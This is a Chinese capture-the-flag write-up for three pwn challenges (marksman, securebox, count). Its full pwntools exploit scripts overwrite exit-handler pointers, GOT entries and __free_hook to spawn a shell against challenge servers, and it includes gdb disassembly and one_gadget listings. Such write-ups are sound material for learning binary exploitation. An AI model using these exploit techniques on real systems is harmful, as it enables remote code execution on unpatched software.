菜了菜了,打虎符就嗯下饭,中午睡醒起来打比赛,下午结束前👴就会个签到,好,不愧是虎符,👴不配。
pwn1 marksman
ubuntu 18
程序给出了任意地址写三个字节的机会,full relro保护
程序禁用了one gadget,实际伪造的时候就会发现,其实过滤不够严格,但是这里的三个还是不太能用,需要修改一下。另外也可以通过寻找其他的one gadget
这道题目有多个思路
1.exit_hook
可以通过 one_gadget -l2 增加搜索的onegadget长度
地址任意写,可以改写任意地址后三个字节,
有对onegadget的过滤,但是没有
不能改写got表,但是可以利用修改exit调用过程的函数指针
exit()->run_exit_handlers->_dl_fini->rtld_lock_unlock_recursive
可以在gdb动调中使用p _rtld_global 指令查看相关地址
这里我么利用的是修改_dl_rtld_lock_recursive指针为onegadget达到getshell目的。注意这里使用第三个onegadget为了避开过滤,将最后一个字节改成’\x87’
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * context.log_level='debug'
elf=ELF('./chall') p=remote('node3.buuoj.cn',26006)
p.recvuntil('near: ') puts_addr=int(p.recv(14),16) base=puts_addr-0x0809c0
lock_recursive=0x81df60+base one_gadget=base+0x10a387 victim=lock_recursive
print(hex(puts_addr)) print(hex(base)) print(hex(one_gadget)) byte1=one_gadget%(0x100) byte2=one_gadget%(0x10000)>>(4*2) byte3=one_gadget%(0x1000000)>>(4*4) print(hex(byte1)) print(hex(byte2)) print(hex(byte3)) print(hex(victim))
p.sendline(str(victim))
p.recvuntil('biang!\n') p.sendline(p8(byte1)) p.recvuntil('biang!\n') p.sendline(p8(byte2))
p.recvuntil('biang!\n') p.sendline(p8(byte3))
p.interactive() ''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
0xe569f execve("/bin/sh", r14, r12) constraints: [r14] == NULL || r14 == NULL [r12] == NULL || r12 == NULL
0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70]) constraints: [[rbp-0x88]] == NULL || [rbp-0x88] == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe585f execve("/bin/sh", r10, [rbp-0x70]) constraints: [r10] == NULL || r10 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe5863 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL '''
|
2.dlopen函数调用中相关函数的got表
先在gdb看一下dlopen函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| gdb-peda$ x/40i 0x7f8c4cbf6fe0 0x7f8c4cbf6fe0 <__dlopen>: sub rsp,0x38 0x7f8c4cbf6fe4 <__dlopen+4>: mov rax,QWORD PTR fs:0x28 0x7f8c4cbf6fed <__dlopen+13>: mov QWORD PTR [rsp+0x28],rax 0x7f8c4cbf6ff2 <__dlopen+18>: xor eax,eax 0x7f8c4cbf6ff4 <__dlopen+20>: mov rax,QWORD PTR [rip+0x201fc5] # 0x7f8c4cdf8fc0 0x7f8c4cbf6ffb <__dlopen+27>: cmp QWORD PTR [rax+0x148],0x0 0x7f8c4cbf7003 <__dlopen+35>: jne 0x7f8c4cbf7030 <__dlopen+80> 0x7f8c4cbf7005 <__dlopen+37>: mov rax,QWORD PTR [rip+0x2020b4] # 0x7f8c4cdf90c0 <_dlfcn_hook> 0x7f8c4cbf700c <__dlopen+44>: mov rdx,QWORD PTR [rsp+0x38] 0x7f8c4cbf7011 <__dlopen+49>: call QWORD PTR [rax] 0x7f8c4cbf7013 <__dlopen+51>: mov rcx,QWORD PTR [rsp+0x28] 0x7f8c4cbf7018 <__dlopen+56>: xor rcx,QWORD PTR fs:0x28 0x7f8c4cbf7021 <__dlopen+65>: jne 0x7f8c4cbf7064 <__dlopen+132> 0x7f8c4cbf7023 <__dlopen+67>: add rsp,0x38 0x7f8c4cbf7027 <__dlopen+71>: ret 0x7f8c4cbf7028 <__dlopen+72>: nop DWORD PTR [rax+rax*1+0x0] 0x7f8c4cbf7030 <__dlopen+80>: mov rax,QWORD PTR [rsp+0x38] 0x7f8c4cbf7035 <__dlopen+85>: mov QWORD PTR [rsp],rdi 0x7f8c4cbf7039 <__dlopen+89>: lea rdi,[rip+0xffffffffffffff00] # 0x7f8c4cbf6f40 <dlopen_doit> 0x7f8c4cbf7040 <__dlopen+96>: mov DWORD PTR [rsp+0x8],esi 0x7f8c4cbf7044 <__dlopen+100>: mov rsi,rsp 0x7f8c4cbf7047 <__dlopen+103>: mov QWORD PTR [rsp+0x18],rax 0x7f8c4cbf704c <__dlopen+108>: call 0x7f8c4cbf76d0 <_dlerror_run>
|
这里我们注意到最后一个call dlerror_run函数,跟进去看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| gdb-peda$ x/40i 0x7f8c4cbf76d0 0x7f8c4cbf76d0 <_dlerror_run>: cmp QWORD PTR [rip+0x2018f0],0x0 # 0x7f8c4cdf8fc8 0x7f8c4cbf76d8 <_dlerror_run+8>: push r12 0x7f8c4cbf76da <_dlerror_run+10>: mov r12,rsi 0x7f8c4cbf76dd <_dlerror_run+13>: push rbp 0x7f8c4cbf76de <_dlerror_run+14>: mov rbp,rdi 0x7f8c4cbf76e1 <_dlerror_run+17>: push rbx 0x7f8c4cbf76e2 <_dlerror_run+18>: je 0x7f8c4cbf7760 <_dlerror_run+144> 0x7f8c4cbf76e4 <_dlerror_run+20>: lea rsi,[rip+0xfffffffffffffbd5] # 0x7f8c4cbf72c0 <_dlerror_run+4294966256> 0x7f8c4cbf76eb <_dlerror_run+27>: lea rdi,[rip+0x2019d6] # 0x7f8c4cdf90c8 <once> 0x7f8c4cbf76f2 <_dlerror_run+34>: call 0x7f8c4cbf6e30 <__pthread_once@plt> 0x7f8c4cbf76f7 <_dlerror_run+39>: mov rbx,QWORD PTR [rip+0x2019d2] # 0x7f8c4cdf90d0 <static_buf> 0x7f8c4cbf76fe <_dlerror_run+46>: test rbx,rbx 0x7f8c4cbf7701 <_dlerror_run+49>: je 0x7f8c4cbf77b5 <_dlerror_run+229> 0x7f8c4cbf7707 <_dlerror_run+55>: mov rdi,QWORD PTR [rbx+0x18] 0x7f8c4cbf770b <_dlerror_run+59>: test rdi,rdi 0x7f8c4cbf770e <_dlerror_run+62>: je 0x7f8c4cbf771e <_dlerror_run+78> 0x7f8c4cbf7710 <_dlerror_run+64>: cmp BYTE PTR [rbx+0x8],0x0 0x7f8c4cbf7714 <_dlerror_run+68>: jne 0x7f8c4cbf7758 <_dlerror_run+136> 0x7f8c4cbf7716 <_dlerror_run+70>: mov QWORD PTR [rbx+0x18],0x0 0x7f8c4cbf771e <_dlerror_run+78>: lea rdx,[rbx+0x8] 0x7f8c4cbf7722 <_dlerror_run+82>: lea rsi,[rbx+0x18] 0x7f8c4cbf7726 <_dlerror_run+86>: lea rdi,[rbx+0x10] 0x7f8c4cbf772a <_dlerror_run+90>: mov r8,r12 0x7f8c4cbf772d <_dlerror_run+93>: mov rcx,rbp 0x7f8c4cbf7730 <_dlerror_run+96>: call 0x7f8c4cbf6d90 <_dl_catch_error@plt> 0x7f8c4cbf7735 <_dlerror_run+101>: mov DWORD PTR [rbx],eax 0x7f8c4cbf7737 <_dlerror_run+103>: mov rax,QWORD PTR [rbx+0x18] 0x7f8c4cbf773b <_dlerror_run+107>: xor edx,edx 0x7f8c4cbf773d <_dlerror_run+109>: test rax,rax 0x7f8c4cbf7740 <_dlerror_run+112>: sete dl 0x7f8c4cbf7743 <_dlerror_run+115>: setne al 0x7f8c4cbf7746 <_dlerror_run+118>: mov DWORD PTR [rbx+0x4],edx 0x7f8c4cbf7749 <_dlerror_run+121>: movzx eax,al 0x7f8c4cbf774c <_dlerror_run+124>: pop rbx 0x7f8c4cbf774d <_dlerror_run+125>: pop rbp 0x7f8c4cbf774e <_dlerror_run+126>: pop r12 0x7f8c4cbf7750 <_dlerror_run+128>: ret 0x7f8c4cbf7751 <_dlerror_run+129>: nop DWORD PTR [rax+0x0] 0x7f8c4cbf7758 <_dlerror_run+136>: call 0x7f8c4cbf6d60 <free@plt>
|
这里我们注意到call了三个函数的plt
call 0x7f8c4cbf6e30 <__pthread_once@plt>
call 0x7f8c4cbf6d90 <_dl_catch_error@plt>
call 0x7f8c4cbf6d60 <free@plt>
这些函数都是libc里的函数,我们跟进去看一下got表
1 2 3 4 5 6 7 8 9
| gdb-peda$ x/20i 0x7f8c4cbf6e30 0x7f8c4cbf6e30 <__pthread_once@plt>: jmp QWORD PTR [rip+0x202192] # 0x7f8c4cdf8fc8 0x7f8c4cbf6e36 <__pthread_once@plt+6>: xchg ax,ax gdb-peda$ x/20i 0x7f8c4cbf6d90 0x7f8c4cbf6d90 <_dl_catch_error@plt>: jmp QWORD PTR [rip+0x2022a2] # 0x7f8c4cdf9038 0x7f8c4cbf6d96 <_dl_catch_error@plt+6>: push 0x4 gdb-peda$ x/10i 0x7f8c4cbf6d60 0x7f8c4cbf6d60 <free@plt>: jmp QWORD PTR [rip+0x2022ba] # 0x7f8c4cdf9020 0x7f8c4cbf6d66 <free@plt+6>: push 0x1
|
这三个开头的jump位置就是got表的位置
接下来我们看一下这三个的got表内容
1 2 3 4 5 6
| gdb-peda$ x/gx 0x7f8c4cdf8fc8 0x7f8c4cdf8fc8: 0x0000000000000000 __pthread_once gdb-peda$ x/gx 0x7f8c4cdf9038 0x7f8c4cdf9038: 0x00007f8c4cbf6d96 _dl_catch_error gdb-peda$ x/gx 0x7f8c4cdf9020 0x7f8c4cdf9020: 0x00007f8c4cbf6d66 free
|
这里我们可以看到第一个got表内容是0,所以无法通过覆盖后三个字节getshell。但是后两个都是可以用的
所以我们这里分别选择后两个计算一下got表偏移
这里由于脚本输出了libc基址,减一下就知道相应位置
1 2 3
| libc_base=0x7f8c4c805000 _dl_catch_error_got=0x7f8c4cdf9038-0x7f8c4c805000=0x5f4038 free_got=0x7f8c4cdf9020-0x7f8c4c805000=0x5f4020
|
然后加上相应的libc基址,就可以得到这两个的got表地址。经过测试,这两个地址写入one_gadget都可以成功getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * context.log_level='debug' p=process('./chall') elf=ELF('./chall') libc=ELF('libc.so.6_2.27')
_dl_catch_error_got=libc.symbols['_dl_catch_error'] free_got=libc.got['free']
print(hex(_dl_catch_error_got)) print(hex(free_got)) p.recvuntil('near: ') puts_addr=int(p.recv(14),16) base=puts_addr-0x0809c0
dl_catch_error_got=0x5f4038+base free_got=0x5f4038+base one_gadget=base+0xe569f
victim=dl_catch_error_got
print(hex(puts_addr)) print(hex(base)) print(hex(one_gadget)) byte1=one_gadget%(0x100) byte2=one_gadget%(0x10000)>>(4*2) byte3=one_gadget%(0x1000000)>>(4*4) print(hex(byte1)) print(hex(byte2)) print(hex(byte3)) print(hex(victim))
p.sendline(str(victim)) p.recvuntil('biang!\n') p.sendline(p8(byte1)) p.recvuntil('biang!\n') p.sendline(p8(byte2))
p.recvuntil('biang!\n') p.sendline(p8(byte3))
p.interactive()
|
3.预期解
待补充
pwn2 sucurebox
题目环境是libc2.30,但是buu复现的时候只有libc2.27,所以我在本地复现了一下。
1 2 3 4 5
| Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
题目保护全开
这道题目漏洞主要是int32和int64之间的转换造成的溢出
漏洞:
1 2 3 4 5 6
| puts("Size: "); size = read_int(); if ( size > 0x100 && (unsigned int)size <= 0xFFF ) { chunk_list[v2] = malloc(0x28uLL); *((_QWORD *)chunk_list[v2] + 4) = size;
|
这里的漏洞在于size是
而强制转换的时候转换成了int32,高8位丢失了
所以可以利用这个绕过size的检测,申请一个很大的chunk来完成地址任意写。
enc函数编辑的时候进行了加密,所以要逆出对应加密即可,另外enc编辑的offset小于申请的size即可。
所以这道题目的思路就是利用malloc泄露地址,申请足够大的chunk来达成地址任意写的目的,接下来覆盖free hook为system地址来getshell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
|
from pwn import * context(log_level="debug", arch="amd64", os="linux")
p=remote('node3.buuoj.cn',28748) elf=ELF('./chall')
def add(size): p.recvuntil('5.Exit') p.sendline('1') p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Key: \n') key_msg = p.recvline().strip("\n").split(" ")[:-1] key = [int(i,16) for i in key_msg] print(key) p.recvuntil('Box ID:') return key
def free(idx): p.recvuntil('5.Exit') p.sendline('2') p.recvuntil('Box ID:') p.sendline(str(idx))
def edit(idx,offset,leng,msg): p.recvuntil('5.Exit') p.sendline('3') p.recvuntil('Box ID:') p.sendline(str(idx)) p.recvuntil('Offset of msg:') p.sendline(str(offset)) p.recvuntil('Len of msg:') p.sendline(str(leng)) p.recvuntil('Msg:') p.sendline(msg)
def show(idx,offset,leng): p.recvuntil('5.Exit') p.sendline('4') p.recvuntil('Box ID:') p.sendline(str(idx)) p.recvuntil('Offset of msg:') p.sendline(str(offset)) p.recvuntil('Len of msg:') p.sendline(str(leng)) p.recvuntil('Msg: \n')
def decode(key,content): deco='' for i in range(8): deco += chr(ord(content[i])^key[i]) return deco; key0=add(0x500) key1=add(0x600) edit(1,0,8,decode(key1,'/bin/sh\x00')) free(0) key0=add(0x500) show(0,0,8) malloc_hook=u64(p.recv(6).ljust(8,'\x00'))-0x60-0x10
base=malloc_hook-0x3ebc30
print(hex(malloc_hook)) print(hex(base)) key2=add(0x7fffffff00000800) '''#libc 2.30 free_hook=base+0x1edb20 system=base+0x0554e0 '''
free_hook=base+0x03ed8e8 system=base+0x04f440
edit(2,free_hook,8,decode(key2,p64(system))) free(1) p.interactive()
|
pwn3 encnote
待补充复现
pwn4 count
这是本次比赛最后上的一道题目,也是最简单的题目。基础的arm pwn题目。
简单的回答200次题目,正确后会给出一个栈溢出,直接覆盖改写内容就能得到shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context.log_level='debug' p=remote("39.97.210.182",40285) p.recvuntil("levels ~") for i in range(200): p.recvuntil('Math: ') s=p.recvuntil('=',drop=True) r=eval(s) p.recvuntil('answer:') p.sendline(str(r)) p.recvuntil('good')
payload='a'*0x64+p32(0x12235612) p.sendline(payload) p.interactive()
|